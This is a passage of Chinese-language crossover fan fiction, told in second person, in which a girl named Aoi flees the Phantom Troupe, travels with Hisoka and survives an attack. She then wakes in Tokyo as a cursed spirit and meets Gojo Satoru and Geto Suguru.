最开始只有侠客在旁边看,后来围观的人越来越多,他们还七嘴八舌地给你提议,大概就是告诉你信长哪里有破绽,应该攻击哪里之类的话。
增长了很多经验的同时,耳朵也确实被吵到了。
“进步得很快嘛。”
侠客递给你一瓶水,你接过来咕噜噜灌下去半瓶才缓过来。
“谢谢。”
“葵想要变强的话,我也可以陪你打哦。”
“哎?你不是专门的情报人员吗?”
你一脸怀疑地看着侠客,对方哈哈笑了两声,“那个只是个人爱好啦。”
当天没有打成,因为你累得只想回去休息。而在后面几天,你“有幸”体验了包括侠客、飞坦、芬克斯在内的旅团成员们的体术教学,又名不使用念能力的单方面殴打。你确信他们是把你当成了乐子,但你顽强的撑了下来,并且在某种程度上变强了一点,比如,学会了自己把脱臼的手臂接回去。
一周后,终于到了下船的时刻。
其实你不是一个喜欢到处跑的人,假期就应该躺在床上看漫画。如果有什么能和漫画一样对你具有吸引力,大概就只有美食了。
你从来没有去过埃珍大陆,不妨碍你一直心心念念当地的土特产。似乎是因为有着极为丰富的森林资源,埃珍大陆生长着诸多味道鲜美的食材。
不过在有空享受美食之前,还有很多困难需要克服。
“这个兔子是你在船上抓的?长得怪丑的。”饭馆里,信长毫不客气地评价了一句。
“哪有!明明很可爱!”你举起手里的布娃娃看了看,蓝色的兔子身上是一块块拼凑缝合的痕迹,有一种独特的美感。
“啊,那个是我抓到的。”小滴像是突然从发呆中回过神,加入了你们。
“嗯嗯!所以我抓了一只眼镜猫送给你,还喜欢吗?”
“可是,猫为什么会戴墨镜呢?”小滴不知道从哪里拿出了那只毛绒绒的白猫玩偶,圆圆的眼睛里是大大的好奇。
“这个啊,只有猫猫才知道了吧。”
你们的对话没能继续下去,因为坐在对面的玛奇突然看着窗外说了一句,“迪妮莎。”
一桌人瞬间闪得无影无踪。
只剩下你和来上菜的服务员面面相觑。
混蛋!他们走之前没有结账!!
你被迫自掏腰包,好在你的身份信息还在,银行卡可以继续用。好家伙,一顿饭吃掉了你一个月的工资。
结完账之后,你在店门口等了一会,旅团的人消失得干干净净,没有要回来的迹象,你忽然意识到这是个逃跑的绝佳时机。
*
一小时前,昆昆贝卡市的某家旅店。
“一分钱也没有,病歪歪,我到底为什么要带上你!”
红发白裙的少女抱着头在床上翻滚,滚到床边时被靠坐在床头看书的男人拦了一下,没有掉下去。
酒红色的眼睛和黑色的眼睛对视了一秒,库洛洛合上手里的书,露出一个温柔的笑,“因为我想要和你待在一起。”
少女瞬间移开了视线。
“库洛洛,别笑了,好恶心啊。”
库洛洛嘴角的弧度放平,他伸出一只手覆在少女的红发上,轻轻摸了摸,“我说的都是真话。”
8. 第八天
在决定逃跑之后,你一共干了三件事。
一,从街对面的自助取款机里取出了自己的全部存款。
二,在取款机旁边的商场给自己换了身行头,期间在头发里发现微型定位器一枚==。
三,给自己办了一张假证。你本来打算给真人也办一张,结果被告知咒灵不会留下影像。
“所以其实不是所有人都能看到你?”
“嗯,大部分人都看不到咒灵。”真人坐在你新买的行李箱上,示范性地伸长手臂在一个路人面前晃了晃,对方毫无所觉地继续往前走,下一秒真人咻的把手收了回来。
“真人,别玩了。”你扶了扶墨镜,小声地说,“考虑下我的感受吧,这里可不是流星街。”
“好——”真人一脸无聊地握住了拉杆。
做完准备工作后,你迅速地买了一张离出发时间最近的飞行船票,服务台的工作人员把票和证件一起递给你,同时露出职业微笑,“女士,您的航班将在十分钟内起飞,请您尽快登船。”
既然这样刚刚为什么还慢吞吞地帮我办手续啊!
你抓着船票一路狂奔,在即将抵达登船口时和一个不知道从哪里冒出来的人砰地相撞。
痛死了!这人的身体是钢筋做的吗?新买的墨镜直接报废,你捂着鼻子从地上爬起来。
“嗯哼,撞了人要记得道歉呀。”
你注意到旁边是卫生间,看来是自己没注意看人,于是拉过滑到一旁的行李箱,按住蠢蠢欲动的真人,干脆利落地道歉了。
“嗯?我们是不是在哪里见过?”
你颇为无语地看着毫无自觉地拦在你面前的红发青年,“不好意思,我对你毫无印象。这位先生,我快要赶不上船了,有事可以下次再聊吗?”
你确信,再过十秒钟对方还不让开,你就要控制不住地动手了。
“啊啦,大概是我看错了。”
长得人模狗样,说话奇奇怪怪。
“有缘再见。”
你拖着行李箱绕过了他,就在这时,从背后传来了一个格外熟悉的声音。
“在这里见面没问题吗,西索?”
太好了!库洛洛他没死!
笨蛋!这种时候要装作不认识,赶紧上飞艇啊!
“啊嗯,比约定时间要晚哦,不好脱身吗?”
你没听到库洛洛的回答,在身体意识的控制下,你拉着行李箱无比自然地走向登船口。
等等,前面那是什么?
目光所及处,有一抹红色正迅速地朝这边靠近,后面还远远地跟着几个人。
你的视力不算特别好,用了凝之后瞬间看清楚了那几个人的样子。
旅团怎么会追到这里来?
绝对不能被他们发现!
你一把捞起真人冲到了登船口,把船票递过去。
“抱歉女士,您的航班已经停止登船。”
“能帮我改签吗?”
“抱歉,女士,改签手续需要去服务台办理。”
可恶!墨镜被撞坏了,直接走也太容易被认出来了。就在你一筹莫展之际,忽然听到了一阵剧烈的咳嗽声。
“好啊!你这个##!避着我偷偷出门原来是去见男人!”
“咳……咳咳!!你……别激动,听我解释……咳咳!!”
你不明所以的被吃瓜群众带着成为了围观的一员,看清楚包围圈内的情况后,你陷入了沉默。
库洛洛正被红发青年扶在怀里,捂着嘴咳嗽,血从指缝里渗出来,两人的身高差让他看起来格外弱不禁风。站在两人对面的少女双手叉腰,一脸捉奸在床的坚定表情。
没有看见旅团的人。
奇怪,他们不是在找库洛洛吗?为什么这会又消失了?
难道说他们怕库洛洛尴尬?
你决定先静观其变。你默默地把真人举高了点,让他也能看见里面的战况。
“葵,人类好有趣啊。”
“嗯……”某种程度上,可能也许是很有趣吧。你看得出来,库洛洛有努力在解释,但对面的少女坚定地认为他避开自己是要做什么见不得人的事。
“你一定要这么认为的话。”库洛洛的表情看上去就像要哭出来一样,“咳咳……那就走吧,不必再管我……我也不想再拖累你……咳……”
围观的人越来越多,少女渐渐涨红了脸,快步走过去,一把扯住了库洛洛的衣领。红发青年如蒙大赦地松开手后退几步,示意自己与这件事没什么关系。
“明明是你死皮赖脸跟着我的!你这个死##!!!”
少女恼羞成怒的声音回荡在整个候船室,一瞬间你感觉到了数道叠在一起的可怕念压。啪!啪!啪!啪!天花板上的灯泡连声爆裂。
咔嚓咔嚓,以少女为圆心的地面上出现了辐射状的网纹,并且裂痕还在往外不断延伸。
“真人,我们还是……溜,比较好吧。”
你跟着围观群众迅速后退,在包围圈外找到了自己的行李箱。
“你好,我想改签。”你啪的把船票拍到服务台上。
“抱歉,女士,因机场遭遇突发事故,今日的航班全部取消。”服务台的工作人员对着电脑一通操作后,告诉了你这个噩耗,“请问需要帮您改签到明天的班次吗?”
“我要最早的!目的地无所谓。”
“最早的航班是明天上午十点,飞往欧奇马联邦的维多市,可以吗?”
“行!”
新的地点比你原本要去的地方更远,补了差价后,你开始认真思考以后的谋生手段和今晚的住宿问题。毕竟,好不容易攒下来的钱快被花光了嘛。
“刚刚那个人,葵认识吗?”
“嗯?”你边走边打量着路两边的店铺,大部分都是餐馆和特产店。
“听到他的声音时,葵你的灵魂动摇了呢。”真人坐在行李箱上,一只手变成绳状缠住了你的手腕。
“哎?”你恰好看见一家不错的咖啡店,推门走进去,“你是说那个黑头发的人吗?”
“那个是以前在医院认识的人啦,没想到他还活着。老实说,我松了一口气。”你坐下来,拿起桌上的菜单,没留意其他顾客都默默地往远离你的方向挪了挪。
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“葵不需要同情他,那个人,刚刚是在骗人呢。”真人乖巧地坐在对面,如果忽略掉他变着花样在你的手腕上打结的行为的话。
“我能看到人类的灵魂,自始至终,那个人都很冷静,完全没有他表现出来得那么痛苦。”
“竟然是这样!”你把菜单递给被你吓了一跳的服务员,歉意地笑了笑,等她走了之后才小声地继续说,“难怪我总觉得不像他的性格,真是人心难测。哎,这个可以解开了吗?会影响到我吃饭。”
被打了十几个结之后,你的右手快沉得抬不起来了。
“啊,抱歉,我好像有点解不开了。”真人抬起一只眼睛小心翼翼地看着你。
“交出来吧。”
你朝真人伸出左手,笑得像个恶霸,这种微笑方式还是跟山姆大叔学的,效果显著,因为服务员上完菜后就已经完全不往你们这桌靠近了。
“葵,真的要做那种事吗?”真人满脸抗拒,“也太血腥了。”
“一人做事一人当,拖延时间也没用。”你直接站起来越过桌子抓住了真人的另一只手,“快点!我还要吃饭呢!”
“葵——”真人的表情让你产生了一丝罪恶感,但对食物的渴望战胜了它。
普通的刀对咒灵没用,所以如果解不开手腕上的死结,最好的方法就是让真人自己变出一把刀,把它拆了。
你觉得这是一件很简单的事,奈何真人不太配合,明明他平时自己玩自己的时候也没这么怕痛啊。
就在你们为了这件事拉锯时,桌边不知道什么时候多了一个人。
“又见面了,看来我们真的很有缘。”
你扭过头,发现是下午才见过的红发青年,似乎是叫,西索。你迅速朝他身后看了看,没有库洛洛,没有幻影旅团,安全。
于是你也露出微笑,“好巧。”
“需要帮忙吗?”
你顺着西索的目光看到了正在和你“掐架”的真人,“哎?你能看得见呀!我确实遇到了点困难……”
你完全没有看清楚西索的动作。
可能只过了十秒钟,也可能更短,你的手上一轻,困扰你和真人许久的死结被他轻松解开了。
“西索先生,你真是太厉害了!”
西索坐到了你的对面,为了防止出现意外,你把真人拉到了身边,“啊,不如我请你吃饭吧!”
你没等他回应,按了按桌上的点餐铃。
西索并没有和你客气,你回忆了一下那几道餐点的价格,几乎要掏空你的钱包,你勉强维持住了笑容。
“还不知道你的名字呢?以及这位……小朋友?”
“我叫三叶葵,西索先生直接叫我葵就好,他叫真人,是我的……是我的弟弟。”你在心里练习了几遍,觉得给真人安排这样的身份再合适不过了,“我弟弟他……有些不一样,不过是个很乖的孩子哦。”
西索点点头,嘴角噙着笑,“你和你弟弟确实很像。”
“那当然啦,我们是亲姐弟嘛。”你拉扯着真人的嘴角让他也露出微笑,撒谎这种事向来是一回生二回熟,你差点说得连自己都信了。
9. 第九天
西索的长相相当斯文败类,但真正和他交流之后,你发现他人还不错,至少比库洛洛给你的感觉要好。不过,鉴于对方和库洛洛熟识,对于西索究竟是不是好人这件事,你持保留意见。
真人没有参与你们的对话,你和西索边吃边聊,话题很快转移到机场发生的事情上。
“……就这样,我改签到了明天上午。呃,你的朋友和他的……女朋友,他们现在怎么样了?”
“你也看到了,小库,就是我那个朋友,他女朋友对我有一些误解。”
你点点头,在心里为“小库”这个称呼恶寒了一把。至于是不是“误解”,如果不是你根据自己对库洛洛的认知,觉得他不可能是gay,就外形上看,西索和他还挺搭的。
“小库得花上好些天才能把人哄好。”西索叹了口气,看起来非常忧伤,“好不容易约好了,又要改时间。”
所以库洛洛瞒着女朋友,出门和西索见面,是为了一件他们约好了的事情。这件事要瞒着女朋友,且库洛洛不是gay,那么真相只有一个——
他想约他出去玩!
“西索先生,我懂,有了女朋友的人,十次里有九次约不出来,很正常。”
你想起了邻居玛丽大婶的儿子卡卡,原本你们因为年龄相近,关系很不错,自从他在异世界交了个女朋友,就整天见不到人,直接让你本就死宅的生活变得更加死宅。
西索被你逗笑了。你不明白听到这种大实话有什么好笑的,但总归比他刚刚那副表情要好。
“小葵。”这个称呼令你牙酸,西索止住笑,抿了口咖啡,“不如跟我一起走?”
“嗯?”
“是的,贫穷限制了我。”
半小时后,你拖着行李箱,抱着真人,看着面前的飞行船,再次发出感慨。
这里是位于昆昆贝卡市另一头的一个私人机场,属于西索。他在得知你没能找到过夜的地方后,提出可以用他的私人飞艇直接送你去目的地。
“正好,我被小库放了鸽子,最近没什么事做。就当是晚餐的回礼。”这是西索的原话。
你当然是毫不犹豫地答应了,然后直接退票取钱一条龙。
你猜幻影旅团现在都在围着他们团长转,没空找你这条小鱼。事实也是如此,离开的过程格外顺利。
二十分钟后,你已经坐在窗边欣赏起了昆昆贝卡市的夜景。
让幻影旅团什么的都见鬼去吧!
感谢你,库洛洛,我永远记得你。
你最后一次为库洛洛祈祷,然后心安理得地躺下了。
你在入睡前没有拉上窗帘,早晨是被照进房间的阳光晃醒的。你和真人都没有好好的在飞行船上看过日出,你瞬间被悬浮在云海上的金色朝阳震撼到了,盯着看了好一会才想起来去捂真人的眼睛。
“看久了眼球会受伤。”
真人不得不再次提醒你,他会自我修复。
“抱歉抱歉,我总是会不自觉忘记。”
只能说小孩子的外表实在太有欺骗性。你帮真人梳了梳头发,按照他的习惯分成三股扎起来,每到这时,你都会十分羡慕真人的发量。
你的辫子是真人帮忙编的,你对这种事很不擅长,等他编完后,你对着镜子左看右看,瞧不出任何问题,开开心心地把他抱起来出了门。
你走到餐厅,看到西索正坐在一张桌子前,握着手机跟人聊天。
桌上除了早餐,还有一份维多市的旅游指南,你顺手拿起来,边吃东西边翻看。
真人不需要吃东西,但为了装得像人,他也坐下来解决起属于自己的那份。
“有想去的地方吗,小葵?”
西索发完消息,抬眼看过来,他的眼睛在日光下呈现出漂亮的金色。
这一刻,你的两个意识达到了空前的一致——好像可以不花钱旅游!
“当然有了!”你点头。
你想去的地方叫做生命之泉。
根据指南上的描述,所谓的“生命之泉”其实是维多市南郊的一条河。
维多市紧挨着一大片未被开发的原始森林,里面有着种类极多的凶兽,除了猎人以外,几乎没有人想要进去探险。生命之泉的源头就在森林深处,不知道从哪一年起,出现了某种变故,使它拥有了一个神奇的功效。
“呃,喝下泉水的人会看到不属于自己的,记忆片段?体验不一样的人生,给你最真实的……”你念着指南上的广告词,“虽然看起来像骗人的,不过似乎是维多市的招牌景点,怎么样,要去看看吗?”
“没想到小葵你会对这个感兴趣。”
“这个嘛……”你其实是觉得这段描述和头部意识被关小黑屋时的状态有点像,但解释起来很麻烦,“我有点好奇。”
*
好奇心害死猫。这句话用来形容现在的你再合适不过了。
原本,这是一次普通的旅游。并且,在西索拿出他的猎人执照带你们走了猎人专属通道,从而免去了排队的痛苦后,它还升级成了一次愉快的旅游。
但是,在你喝了热情的工作人员送上来的“生命之泉”后,事情就变得不那么美妙了。
尽管工作人员反复强调这是请人专门从接近森林内部的河流上游取回的水,非常“干净”,但你依然表现出了水土不服的症状。
可恶!你是等到西索喝完之后才喝的,真人也尝了一口,为什么只有你肚子痛!
你谢绝了其他人的帮助(因为尴尬),独自去了附近的公共卫生间,一阵上吐下泻。自打从村子里出来,你的身体还没有这么脆弱过。
你扶着墙走出来,就在跨过门槛的瞬间,一根钉子擦着你的手扎进了墙里。
脑中警铃大作,来不及想太多,你凭借本能反应躲过了第二根钉子。
额头上冒出一排冷汗,身上也在冒汗,你夺命而逃,身后的人穷追不舍。
拜那杯生命之泉所赐,你的身体状态并不好,没办法跟那个人硬碰硬,于是你试图往来时的方向跑。那个人察觉出你的意图,直接甩出一排钉子挡住了路,你不得不临时调换方向,边逃边思考对策。
早知道会遇上这种事,西索和真人至少要拖一个来守门!
闭嘴!现在最重要的是逃命啊!
是不是迷路了,怎么全是树……
听——有水声!
下一秒,一条河突兀地出现在你面前,拦住了你的去路。你猛地刹车,目测了一下河面的宽度,发现自己似乎只能游过去。
来不及。
你深吸一口气,转身面对着树林,大片的树影将那个人的气息完美地掩藏住,你不能确定他在哪里,于是随便朝着一处黑暗大喊。
“我现在跑不了了,在杀我之前,至少告诉我理由吧!”
这句台词莫名很像少年漫里的炮灰。
你其实只是试一下,因为你觉得以对方的身手,完全可以在路上就把你解决掉,而不是猫捉耗子一样等到现在,大概率是有什么特殊目的。当然,也不排除对方纯粹是心理变态的可能性。<
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就在你喊完之后,浓墨般的阴影中出现了一个人。那个人的存在感极低,你确定如果不是他主动现身,可能等他走到你背后,你都不会察觉。
那是个身材高挑的男性,留着长至腰际的黑发,皮肤很白,黑色的眼睛大而无神,看着有些瘆人。
你站着没动,任由对方走到你面前,和那双眼睛近距离对视,心理压力更大了。他抬起手,那是一只轮廓很漂亮的手,指骨修长匀称,指甲形状完美,不像杀人者的手,更像艺术品。
原谅你在这种时候还能注意这么多,一心二用的好处也只有这个了。他把手放到了你的头上,就是现在!
你发动了自己的念能力,与此同时,脑中一阵尖锐的痛,像一根针狠狠地扎进去搅动,让你几乎立刻想要晕倒,又因为痛苦本身而不得不保持着清醒。
这种死法真是折磨人。
你浑身脱力地倒下去,他接住了你。你竟然在那张没有表情的脸上看到了一丝名为纠结的情绪。
杀都杀了你纠结个毛线啊!
“要快点想起来,葵。”
他看着你,松开了手,在你坠落的整个过程中,一直看着你。
冰冷的河水迅速吞没了你,从你的口腔、鼻子灌进去,但脑中的痛感盖过一切,你没能感觉到多少窒息感。
透着天光的河面离你越来越远,下坠像是没有尽头,你无法感受到时间的流逝,在身体逐渐脱离掌控后,意识也变得模糊。
“葵——”
你似乎听到了真人的声音。你想睁开眼确认一下,但眼皮沉甸甸的,抬不起来。
突然间,你的身体一轻,像是有什么东西被拉扯出去,又像是从束缚中得以解脱。
有那么一瞬,你看见了一个纯白的世界。
或许,称为“感知”更为准确。
在那片纯白的中央,距离你不远的位置,蜷缩着一团没有形态的混沌黑雾,它飘在空中,无序的线相互缠绕又迅速崩解,它看起来想要构建什么,却始终在第一步就土崩瓦解。
它在“哭泣”。尽管没有声音,也没有什么拟人化的动作,但你能感知到。
它很虚弱。它原本不该这么虚弱。你本能地想要朝它靠近,但仅仅是下一瞬,这个世界就从你的感知里消失了。
*
你再一次和身体意识失联。
和上次不同的是,这里什么也没有。没有光,没有声音,你感受不到任何存在,就像在黑洞的内部。
难道这里就是死后的世界吗?
你同样感受不到自身。你知道这是一个很危险的状态,也许要不了多久,你就会和周遭融为一体,化作虚无。
*
你从河里爬了出来,浑身湿透,头发披散,凝成一股股的往下淌水。
不远处有人发出惊恐的叫声,你没有在意,继续往前爬了几步,把自己扔在浅滩上。
不需要照镜子,你知道自己的表情一定阴沉得可怕。念力即将告罄,在那之后,是一个月的封念期,这是你不借助血液媒介强行发动念能力的代价。
可恶!
你撑起身体,按压着胃部,拼命咳嗽。等胃里没有那么难受了,你才半跪着,抹了把脸,站起来看了看周围的情况。
地势平缓,附近没有森林存在的痕迹,显然,河底的暗流把你卷到了另一个地方。
远处飘起炊烟。以你目前以及未来一段时间的身体状态,需要一个休息养伤的地方,你没有丝毫犹豫,抬脚朝那边走去。
10. 第一夜
滴答……
滴答……滴答……
你好像睡了很长的一觉。
睡着以前……你猛地坐起来,瞬间失去平衡,砰的摔在了地上。
好……好痛。
你捂着脸,艰难地爬起来,发现自己刚刚躺着的地方是一张吊床。
四周很安静,除去你自己的呼吸,就只剩下隐约的水声。
你觉得自己的状态有些不对劲,除了和身体意识失联以外,一定还有什么别的变化,但具体是哪里又说不上来。
你很快就放弃思考这个,决定先到处看看。你摔下来的动静有点大,但没有任何人过来查看,所以现在这里只有你自己。
你勇敢地朝着昏暗的通道踏出了第一步……大约十分钟后,你看着面前纵横交错的巨大管道,明白了自己是在什么地方。
你可能永远也无法理解真人对下水道的钟情。不过,在发现是他把你带来这里之后,你还是产生了一种孩子懂事了的欣慰感。
你犹豫了一会要不要原路返回,最后决定先去地面上看看,说不定能恰好遇到真人,计划通!
你小心翼翼地顶开一个窨井盖。
没有人。你迅速地爬出来,把盖子放回原位,装作一个普普通通的路人,边走边四处观察。
啊。你很快就发现了异常。
街边的招牌上写着的竟然是日文!!!
你不敢相信自己的眼睛,直接扑上前好一通研究。
确认无误,真的是日文!你上一次看到这些熟悉的文字,还是在玛丽大婶给你带回来的漫画书上。
想到某种可能性,你的心跳不由自主地加速,简直要从胸腔里蹦出来,你飞快地跑出这条冷清的街道,循着人声传来的方向跑。
风在耳畔呼啸,仅仅是一个转弯,一整幅人来人往,车水马龙的繁华街景展现在你眼前。
你停下脚步,呆呆地看着面前熟悉又陌生的一切,鼻子阵阵发酸。身体意识又不在,才不会有人嘲讽你,你低下头,徒劳地用手背擦着眼泪。
脑中关于这个世界的残破记忆总是拼不完整,你刚到村子里的时候,连自己的名字都不记得,哪怕到了现在,记忆中也有数不尽的缺失。如果一直回不来,就可以一直不在意,为什么偏偏在这时候,在这么突然的情况下……要不是碍于在街上,你甚至会想要嚎啕大哭。
*
轻松结束掉高专的任务之后,五条悟选择绕路去一家据说很好吃的甜品屋买伴手礼(送给自己),夏油杰对这个决定没有异议,现在回去也没什么事做,当然还是光明正大的翘课了。
他们穿着高专的制服,混在一群放学的DK里面,夏油杰听着DK们讨论新出的游戏,身边的五条悟突然停下来看向了街对面。
“嗯?那家店到了吗?”
“杰。”五条悟的声音里透着点发现新玩具式的兴奋,夏油杰朝那边看去,一下子就注意到了和行人格格不入的少女,或者说……咒灵。
“女孩子哭起来就不漂亮咯。”
一张纸巾被递到你面前,你眼泪汪汪地抬头,只看到一团模糊的人影,你接过纸巾擦了擦脸,情绪缓和了些。
“谢谢。”
面前站着两个高中生模样的少年,他们的制服样式不太常见,不过最奇怪的还是他们的造型,一个白毛戴墨镜,一个丸子头眯眯眼。
自己哭是一回事,被人围观哭相就是另外一回事了。你后知后觉的开始不好意思,面前的DK对视一眼,其中那个白毛就朝你笑了一下,“遇到不好的事了吗?”
虽然他的表情看起来很像幸灾乐祸,本着不把人往坏处想的原则,你就当他是在正常关心你。
“没有,因为好久没回家了,有点百感交集。”
“哇哦,你有家?那你有爸妈吗?”
你简直一脸问号。这时候白毛被拽了拽,眯眯眼开口说,“他的意思是,既然这样,就别在街上待着了,快点回家吧,你爸妈也该担心了。”
你很怀疑白毛到底是不是这个意思,但是鉴于眯眯眼态度友好,你还是解释道,“其实……我家的房子好像起火烧掉了,我也不记得有没有什么亲人……啊,不过我有个弟弟,我现在刚好在找他。”
你不太懂DK之间的眼神交流,但是他们俩都自告奋勇,说要帮你一起找,你愉快地答应了,并且描述了一下真人的长相。
“四五岁,身高大概一米多一点,蓝色头发,脸上有一些疤……”
找人行动以失败告终。
天色已经完全暗下来,耽误了他们这么久,你有些愧疚,再次向他们道谢之后提出了分别。
“那就再见咯。对啦,我叫五条悟,你叫什么名字?”
“三叶葵。”你看着那头在晚上依然耀眼的白发,心想,这是多么亲切的,日本化的名字啊。
“夏油杰。”眯眯眼的DK也报出了自己的名字。
你没有手机,没办法进一步加深联系,于是在交换完姓名之后,你毫无心理负担地回到了下水道。
你对东京的地下结构还不是很了解,为了防止迷路,你特地从下午出来时的井盖爬下去,打算原路返回。
*
看到三叶葵熟练地拿开井盖往下爬,五条悟罕见地陷入了沉默。
“快走吧,再不走要跟丢了。”夏油杰移开了井盖,招呼着自己的好友。
“咒灵的生活环境这么恶劣吗?不如我们把她带回高专吧。”五条悟轻轻松松地爬下去,压低了声音。
“会触发警报——”夏油杰跟在后面,把井盖复位。
“那我把她打晕,你吃下去吧。”
“……不,她看上去好弱。”
五条悟和夏油杰有着丰富的合作经验(虽然没什么用,他们大多数时候都各干各的),他们远远地跟在三叶葵身后约两百米的位置。三叶葵对他们的跟踪毫无察觉,就像看起来那么弱。
滴答——滴答——
通道里出现了水声。
“悟,你觉不觉得……”有点太安静了。
五条悟瞬间开启了无下限,来自身后的偷袭落空,夏油杰则立刻从原地弹开,召唤出咒灵。
“你们两个,鬼鬼祟祟的跟踪别人是不对的。”
通道中出现的是一个蓝发青年,除去年龄和身高以外,一切特征都和三叶葵向他们描述的吻合了。
这家伙和三叶葵可不一样。五条悟看着蓝发青年,六眼得出的信息告诉他,对方至少是个一级咒灵。
轰隆——
剧烈的爆破声从身后传来,你一脸惊恐地转过头,发现只是承重墙塌了一半,顿时松了口气。
要知道,这里可是下水道!
你的夜视能力不太好,只看见了三团飞来飞去的黑影。念力完全消失,用不了凝,太可惜了。
等等,你发现自己又能看清了,并且,你迅速认出了正在打架的三个人——分别是你下午刚认识的五条悟,夏油杰,还有……真人?
你刚想喊你们不要再打啦,就有一种这句话好奇怪的感觉。你深吸一口气,大吼,“都——停——手!!”
你的声音在过道里回荡,好在三个人都听了你的话,不然场面一定会很尴尬。最先跑过来的是真人,你看着那张完全属于成年男性的脸和你们之间的身高差,感到了一阵窒息。
“我等着你的解释。”
真人居然不是小孩子!!!
你忍住暴走的冲动,把真人拉到身后,看向剩下的两个人,“不好意思,这个就是我弟弟,他
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……你们可能有点误会,他其实不坏。”
“葵,你身后的咒灵非常危险。”
在战斗中察觉到对方术式的五条悟对眼下的情况深感棘手,尤其是在看到三叶葵正拉着蓝发咒灵的那只手时。
“葵,他们是咒术师。”真人在你耳边对你说。
你的第一反应是,咒术师是什么?紧接着你联系起好久以前真人告诉过你的咒灵和咒力的概念类推了一下,大致理解了。
“你们是咒术师,所以必须要杀咒灵?”
“道理上是这样没错。”
夏油杰觉得场面有点滑稽,他们两个咒术师和两个咒灵面对面站着说话,这种事说出去都不会有人信吧。
他其实还没有放松警惕,放出来的咒灵蛰伏在暗处伺机而动,他知道五条悟也没有看起来那么轻松。全场最轻松的,可能就是站在中心的三叶葵了。
要是你知道夏油杰的想法,肯定会跳起来暴打他的脑壳。然而你不知道,你还在顶着巨大的压力和他们“谈判”。
“不杀咒灵会扣工资吗?”
“不是任务目标的话,不会哦。”
“那你们就当做没见过我们吧,要是担心真人会对这里的居民造成什么威胁,我们可以现在就离开东京。”
“放走两个会说话的高级咒灵可不是咒术师的风格,是吧,杰?”
五条悟显然还没有放弃让他收服这两只咒灵的打算,夏油杰耸耸肩,表示自己做不到。
两个咒灵。你看了看在场的四个人,打断DK们的对视,“喂,五条悟,你在说什么啊?我明明是人类啊!”
“给你。”
任谁一觉醒来发现自己换了个物种,心情都不会比你更差。你接过夏油杰递过来的红茶千层,大口大口地挖进嘴里。可恶,好好吃。
“我的伴手礼~~~”五条悟趴在废墟上怨念地注视着你手里的蛋糕。
你和夏油杰不约而同的选择了无视他。你看向坐在你对面,抱着膝盖努力缩成一团的真人。
“现在就解释吧。”
“葵,我真的不知道发生了什么。”真人从臂弯里露出眼睛,无辜地眨了眨。
“用这张脸卖萌是没用的!”你想起了曾经无数次对方顶着小孩子的模样朝你撒娇的场景,起了一层鸡皮疙瘩。
“因为之前咒力被限制了,维持不了这个形态。但是我没有骗你哦,我真的才出生没多久!”
真人举起了三根手指,满脸都写着真诚。看来他自学了不少人类的知识,你将信将疑。
“葵,我答应过你的事情都做到了,你怎么可以怀疑我!”真人说得理直气壮,看来他自学的内容比你想象得要多。
“他答应你什么了?”白毛DK突然插了句嘴。
“不随便杀人。”你随口敷衍。
“哇哦。”
“而且,葵,你一直都是咒灵啊,我以为你只是不想承认……”
“但是我之前明明是人类。”
最直接的证据就是你拥有念,咒灵产生不了念力。虽然自从你和身体意识失联后,念就跟着消失了。你刚刚试着在碎石块上划破了手指,伤口恢复得很快,确实跟人类的体质不同。
“那个只是寄生的躯壳,现在才是你本来的样子。”
要命,这无法预料的事让你一时不知道接下来该怎么办了。
“悟,我们给葵找个住的地方吧。”
夏油杰看着坐在地上咬着大拇指陷入沉思的三叶葵,站起身把五条悟从废墟里拖了出来。
“她住在这里不是很好吗?”
“悟。”
“好吧……”五条悟爬起来,插着兜一脸拽地走到三叶葵面前,“小葵,你想住什么样的房子呀?我很有钱哦。”
11. 第二夜
人来人往的东京街道。
你坐在长椅上,百无聊赖地打量着每一个过路人。
夹着公文包匆匆跑过的打工人,骑着单车叮叮当当的国中生,背着画板的忧郁青年,手捧鲜花的少女,时尚靓丽的女郎,还有满脸颓丧的无业大叔。
回到日本已经有一个多月,你差不多习惯了这具咒灵的身体,不用吃饭,不用睡觉,不会被任何人看见。
就像一个透明人,无论干什么都可以。
五条悟和夏油杰帮你找了个空房子,为了防止出现“灵异事件”,专门选在了远离市中心的地方。你向他们保证自己和真人都不会干什么危害社会的事情,当然,这些事里不包括白嫖东京都的交通工具、电影院、游乐场等等。
真人经常不知去向,大概是去研究人性了。似乎不管是咒灵还是人类,都会情不自禁地想要去探寻自身存在的意义。
你几乎不去思考这些,你的时间大多花在了一些作为人类时总被约束着的事情上,比如看一整天少年漫,待一整天电影院,坐一整天电车环线,或者像现在这样,无所事事地晒太阳。
总而言之,就是虚度时光。
真好,你现在有数不尽的时光。
你在椅子上睡着了。
一定是午后的阳光太温暖的缘故。
你揉了揉眼睛,太阳还没有落山,现在去东京塔,就可以看到很漂亮的日落。噢,你还可以去拍照。
打定主意,你打算起身,突然发现腿上靠着个睡着的小孩。
欸?
小孩一头乱翘的黑发,皮肤很白,缩在椅子上,年龄目测不会超过四岁。你忍不住戳了戳他的脸,噫!好软!
真正的小孩子和真人那种假小孩果然完全不一样。你没忍住又戳了两下,小孩动了动,似乎被你弄醒了。你有些尴尬地收回手,小孩揉了揉右脸,睁开眼睛坐起来,一脸迷蒙地看着你。
好……好可爱!
“你看得见我呀?”你试探着伸手在他眼前晃了晃,小孩眼睛里的水雾还没退,伸手捏住了你的衣角。
没有人能拒绝这么天然的撒娇!没有人!!
“你怎么一个人在这里,跟爸爸妈妈走散了吗?”你很想控制住自己的表情,但还是笑得像个变态。
小孩点了点头,那些上翘的发梢就在空中晃了晃,你仿佛听到了自己的心脏融化成一滩水的声音。
“那你还记得家在哪里吗?大姐姐送你回去吧。”你目光灼灼地看着面前一脸乖巧的小孩。
小孩轻轻皱眉,露出思索的表情。
可恶,这副小大人的表情,让人更加没有抵抗力了!
他想了一会,摇摇头,“不记得了。”
“啊,那大姐姐带你去找警察叔叔吧。”
“……不要。”哎?意外的不太配合啊。
“拜托警察叔叔帮忙的话,很快就可以回家啦,你也不想让爸爸妈妈担心的吧?”
“他才不会担心我。”小孩一脸冷漠。
你瞬间脑补出了一堆现代失败父母的典例,这么可爱的小孩,怎么会有大人能狠下心对他不好呀。
你摸了摸小孩的头发,发质比你想象中硬一些,让你再次对他带着婴儿肥的脸颊蠢蠢欲动起来,“大人都是口是心非的,这会把你弄丢了,他们指不定有多着急呢。”
“……真的吗?”小孩的表情松动了些。
你不由得把声音放得更轻柔,“是的呀。他们要是真的不在乎你,我帮你揍他们!”
小孩抿着唇,点点头。
嗷,无论怎么看都好可爱。
“你叫什么名字呀?”
“惠。”
